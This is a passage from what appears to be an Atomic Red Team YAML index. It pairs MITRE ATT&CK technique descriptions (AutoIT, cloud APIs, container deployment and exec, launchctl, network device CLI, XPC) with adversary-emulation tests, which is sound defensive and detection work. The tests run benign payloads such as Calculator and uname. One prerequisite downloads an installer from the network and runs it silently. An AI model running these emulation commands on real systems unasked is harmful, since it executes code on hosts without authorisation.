      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1106\\bin\\x64\\syscall.exe -debug\n"
        cleanup_command: Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
  T1059.010:
    technique:
      modified: '2024-04-10T16:05:22.456Z'
      name: AutoHotKey & AutoIT
      description: |-
        Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)

        Adversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate)

        These scripts may also be compiled into self-contained exectuable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - TruKno
      - Liran Ravich, CardinalOps
      - Serhii Melnyk, Trustwave SpiderLabs
      - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International
      - Monty
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5
      created: '2024-03-29T18:07:04.743Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1059/010
        external_id: T1059.010
      - source_name: AutoHotKey
        description: AutoHotkey Foundation LLC. (n.d.). Using the Program. Retrieved
          March 29, 2024.
        url: https://www.autohotkey.com/docs/v1/Program.htm
      - source_name: AutoIT
        description: AutoIT. (n.d.). Running Scripts. Retrieved March 29, 2024.
        url: https://www.autoitscript.com/autoit3/docs/intro/running.htm
      - source_name: Splunk DarkGate
        description: 'Splunk Threat Research Team. (2024, January 17). Enter The Gates:
          An Analysis of the DarkGate AutoIt Loader. Retrieved March 29, 2024.'
        url: https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1059.009:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Cloud API
      description: "Adversaries may abuse cloud APIs to execute malicious commands.
        APIs available in cloud environments provide various functionalities and are
        a feature-rich method for programmatic access to nearly all aspects of a tenant.
        These APIs may be utilized through various methods such as command line interpreters
        (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell),
        or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).
        \ \n\nCloud API functionality may allow for administrative access across all
        major services in a tenant such as compute, storage, identity and access management
        (IAM), networking, and security policies.\n\nWith proper permissions (often
        via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001)
        and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)),
        adversaries may abuse cloud APIs to invoke various functions that execute
        malicious actions. For example, CLI and PowerShell functionality may be accessed
        through binaries installed on cloud-hosted or on-premises hosts or accessed
        through a browser-based cloud shell offered by many cloud platforms (such
        as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment
        to use CLI and/or scripting modules hosted as a container in the cloud environment.
        \ "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Ozan Olali
      - Nichols Jasper
      - Jason Sevilla
      - Marcus Weeks
      - Caio Silva
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      - Azure AD
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf
      created: '2022-03-17T13:28:24.989Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1059/009
        external_id: T1059.009
      - source_name: Microsoft - Azure PowerShell
        description: Microsoft. (2014, December 12). Azure/azure-powershell. Retrieved
          March 24, 2023.
        url: https://github.com/Azure/azure-powershell
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1610:
    technique:
      modified: '2024-04-11T21:24:42.680Z'
      name: Deploy a container
      description: |-
        Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)

        Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Pawan Kinger, @kingerpawan, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Idan Frimark, Cisco
      - Center for Threat-Informed Defense (CTID)
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      - Joas Antonio dos Santos, @C0d3Cr4zy
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for suspicious or unknown container images and pods
        in your environment. Deploy logging agents on Kubernetes nodes and retrieve
        logs from sidecar proxies for application pods to detect malicious activity
        at the cluster level. In Docker, the daemon log provides insight into remote
        API calls, including those that deploy containers. Logs for management services
        or applications used to deploy containers other than the native technologies
        themselves should also be monitored.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Container: Container Start'
      - 'Application Log: Application Log Content'
      - 'Pod: Pod Creation'
      - 'Container: Container Creation'
      - 'Pod: Pod Modification'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92
      created: '2021-03-29T16:51:26.020Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1610
        external_id: T1610
      - source_name: AppSecco Kubernetes Namespace Breakout 2020
        description: Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout
          using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024.
        url: https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216
      - source_name: Aqua Build Images on Hosts
        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
        url: https://blog.aquasec.com/malicious-container-image-docker-container-host
      - source_name: Docker Containers API
        description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container.
          Retrieved March 29, 2021.
        url: https://docs.docker.com/engine/api/v1.41/#tag/Container
      - source_name: Kubernetes Workload Management
        description: Kubernetes. (n.d.). Workload Management. Retrieved March 28,
          2024.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/
      - source_name: Kubeflow Pipelines
        description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines.
          Retrieved March 29, 2021.
        url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/
      - source_name: Kubernetes Dashboard
        description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard).
          Retrieved March 29, 2021.
        url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1610
    atomic_tests:
    - name: Deploy Docker container
      auto_generated_guid: 59aa6f26-7620-417e-9318-589e0fb7a372
      description: "Adversaries may deploy containers based on retrieved or built
        malicious images or from benign images that download and execute malicious
        payloads at runtime. They can do this using docker create and docker start
        commands. Kinsing & Doki was exploited using this technique. \n"
      supported_platforms:
      - containers
      dependency_executor_name: sh
      dependencies:
      - description: Verify docker is installed.
        prereq_command: 'which docker

          '
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

          '
      - description: Verify docker service is running.
        prereq_command: 'sudo systemctl status docker  --no-pager

          '
        get_prereq_command: 'sudo systemctl start docker

          '
      executor:
        command: |
          docker build -t t1610 $PathtoAtomicsFolder/T1610/src/
          docker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh
        name: bash
        cleanup_command: "docker stop t1610_container\ndocker rmi -f t1610:latest
          \n"
  T1059:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Command and Scripting Interpreter
      description: |-
        Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).

        Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.

        If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      - Office 365
      - Azure AD
      - IaaS
      - Google Workspace
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Script: Script Execution'
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830
      created: '2017-05-31T21:30:49.546Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1059
        external_id: T1059
      - source_name: Remote Shell Execution in Python
        description: Abdou Rockikz. (2020, July). How to Execute Shell Commands in
          a Remote Machine in Python. Retrieved July 26, 2021.
        url: https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python
      - source_name: Cisco IOS Software Integrity Assurance - Command History
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
          History. Retrieved October 21, 2020.
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
      - source_name: Powershell Remote Commands
        description: Microsoft. (2020, August 21). Running Remote Commands. Retrieved
          July 26, 2021.
        url: https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1059
    atomic_tests:
    - name: AutoIt Script Execution
      auto_generated_guid: a9b93f17-31cb-435d-a462-5e838a2a6026
      description: 'An adversary may attempt to execute suspicious or malicious script
        using AutoIt software instead of regular terminal like powershell or cmd.
        Calculator will popup when the script is executed successfully.

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'AutoIt executable file must exist on disk at the specified location
          (#{autoit_path})

          '
        prereq_command: |
          if(Test-Path "#{autoit_path}") {
              exit 0
          } else {
              exit 1
          }
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          $AutoItURL = "https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe"
          $InstallerPath = "$PathToAtomicsFolder\..\ExternalPayloads\autoit-v3-setup.exe"
          Invoke-WebRequest -Uri $AutoItURL -OutFile $InstallerPath
          Start-Process -FilePath $InstallerPath -ArgumentList "/S" -Wait
      input_arguments:
        script_path:
          description: AutoIt Script Path
          type: path
          default: PathToAtomicsFolder\T1059\src\calc.au3
        autoit_path:
          description: AutoIt Executable File Path
          type: path
          default: C:\Program Files (x86)\AutoIt3\AutoIt3.exe
      executor:
        command: 'Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"

          '
        name: powershell
  T1609:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Kubernetes Exec Into Container
      description: |-
        Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)

        In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Alfredo Oliveira, Trend Micro
      - David Fiser, @anu4is, Trend Micro
      - Brad Geesaman, @bradgeesaman
      - Center for Threat-Informed Defense (CTID)
      - Magno Logan, @magnologan, Trend Micro
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_deprecated: false
      x_mitre_detection: 'Container administration service activities and executed
        commands can be captured through logging of process execution with command-line
        arguments on the container and the underlying host. In Docker, the daemon
        log provides insight into events at the daemon and container service level.
        Kubernetes system component logs may also detect activities running in and
        out of containers in the cluster. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1
      created: '2021-03-29T16:39:26.183Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1609
        external_id: T1609
      - source_name: Docker Exec
        description: Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.
        url: https://docs.docker.com/engine/reference/commandline/exec/
      - source_name: Docker Entrypoint
        description: Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.
        url: https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime
      - source_name: Docker Daemon CLI
        description: Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.
        url: https://docs.docker.com/engine/reference/commandline/dockerd/
      - source_name: Kubectl Exec Get Shell
        description: The Kubernetes Authors. (n.d.). Get a Shell to a Running Container.
          Retrieved March 29, 2021.
        url: https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/
      - source_name: Kubernetes Kubelet
        description: The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29,
          2021.
        url: https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/
      - source_name: Kubernetes API
        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
          March 29, 2021.
        url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1609
    atomic_tests:
    - name: ExecIntoContainer
      auto_generated_guid: d03bfcd3-ed87-49c8-8880-44bb772dea4b
      description: 'Attackers who have permissions, can run malicious commands in
        containers in the cluster using exec command (“kubectl exec”). In this method,
        attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as
        a backdoor container, and run their malicious code remotely by using “kubectl
        exec”.

        '
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to use
          type: string
          default: default
        command:
          description: Command to run
          type: string
          default: uname
        path:
          description: Path to busybox.yaml file
          type: string
          default: "$PathtoAtomicsFolder/T1609/src/busybox.yaml"
      dependencies:
      - description: 'kubectl must be installed

          '
        get_prereq_command: 'echo "kubectl must be installed manually"

          '
        prereq_command: 'which kubectl

          '
      executor:
        command: |
          kubectl create -f #{path} -n #{namespace}
          # wait 3 seconds for the instance to come up
          sleep 3
          kubectl exec -n #{namespace} busybox -- #{command}
        cleanup_command: 'kubectl delete pod busybox -n #{namespace}

          '
        name: bash
        elevation_required: false
    - name: Docker Exec Into Container
      auto_generated_guid: 900e2c49-221b-42ec-ae3c-4717e41e6219
      description: 'Attackers who have permissions, can run malicious commands in
        containers in the cluster using exec command (“docker exec”). In this method,
        attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as
        a backdoor container, and run their malicious code remotely by using “docker
        exec”. Kinsing (Golang-based malware) was executed with an Ubuntu container
        entry point that runs shell scripts.

        '
      supported_platforms:
      - containers
      dependencies:
      - description: 'docker must be installed

          '
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

          '
        prereq_command: 'which docker

          '
      executor:
        command: "docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ \ndocker
          run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\ndocker exec
          -i t1609_container bash -c \"cat /tmp/output.txt\"\n"
        cleanup_command: "docker stop t1609_container\ndocker rmi -f t1609:latest
          \n"
        name: bash
        elevation_required: false
  T1569.001:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d
      type: attack-pattern
      created: '2020-03-10T18:26:56.187Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1569.001
        url: https://attack.mitre.org/techniques/T1569/001
      - source_name: Launchctl Man
        url: https://ss64.com/osx/launchctl.html
        description: SS64. (n.d.). launchctl. Retrieved March 28, 2020.
      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        source_name: Sofacy Komplex Trojan
      - source_name: 20 macOS Common Tools and Techniques
        url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'System Services: Launchctl'
      description: |
        Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)

        Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_detection: "Every Launch Agent and Launch Daemon must have a corresponding
        plist file on disk which can be monitored. Monitor for recently modified or
        created plist files with a significant change to the executable path executed
        with the command-line <code>launchctl</code> command. Plist files are located
        in the root, system, and users <code>/Library/LaunchAgents</code> or <code>/Library/LaunchDaemons</code>
        folders. \n\nMonitor command-line execution of the <code>launchctl</code>
        command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s
        or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable
        paths pointing to <code>/tmp</code> and <code>/Shared</code> folders locations
        are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s
        or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure
        the services are unloaded prior to deleting plist files."
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      - root
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1569.001
    atomic_tests:
    - name: Launchctl
      auto_generated_guid: 6fb61988-724e-4755-a595-07743749d4e2
      description: 'Utilize launchctl

        '
      supported_platforms:
      - macos
      input_arguments:
        executable_path:
          description: Path of the executable to run.
          type: path
          default: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
        label_name:
          description: Unique label to assign this job to launchd.
          type: string
          default: evil
      executor:
        command: 'launchctl submit -l #{label_name} -- #{executable_path}

          '
        cleanup_command: 'launchctl remove #{label_name}

          '
        name: bash
  T1059.008:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--818302b2-d640-477b-bf88-873120ce85c4
      created: '2020-10-20T00:09:33.072Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1059.008
        url: https://attack.mitre.org/techniques/T1059/008
      - source_name: Cisco IOS Software Integrity Assurance - Command History
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
          History. Retrieved October 21, 2020.
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may abuse scripting or built-in command line interpreters
        (CLI) on network devices to execute malicious command and payloads. The CLI
        is the primary means through which users and administrators interact with
        the device in order to view system information, modify device operations,
        or perform diagnostic and administrative functions. CLIs typically contain
        various permission levels required for different commands. \n\nScripting interpreters
        automate tasks and extend functionality beyond the command set included in
        the network OS. The CLI and scripting interpreter are accessible through a
        direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries
        can use the network CLI to change how network devices behave and operate.
        The CLI may be used to manipulate traffic flows to intercept or manipulate
        data, modify startup configuration parameters to load malicious system software,
        or to disable security features or logging to avoid detection.(Citation: Cisco
        Synful Knock Evolution)"
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Device CLI
      x_mitre_detection: |-
        Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)

        Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      x_mitre_remote_support: true
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1559.003:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Csaba Fitzl @theevilbit of Offensive Security
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19
      created: '2021-10-12T06:45:36.763Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1559.003
        url: https://attack.mitre.org/techniques/T1559/003
      - source_name: creatingXPCservices
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1
        description: Apple. (2016, September 9). Creating XPC Services. Retrieved
          April 19, 2022.
      - source_name: Designing Daemons Apple Dev
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
        description: Apple. (n.d.). Retrieved October 12, 2021.
      - source_name: CVMServer Vuln
        url: https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html
        description: 'Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability
          in macOS and iOS. Retrieved October 12, 2021.'
      - source_name: Learn XPC Exploitation
        url: https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/
        description: Wojciech Reguła. (2020, June 29). Learn XPC exploitation. Retrieved
          October 12, 2021.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)

        Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
      modified: '2022-05-24T14:00:00.188Z'
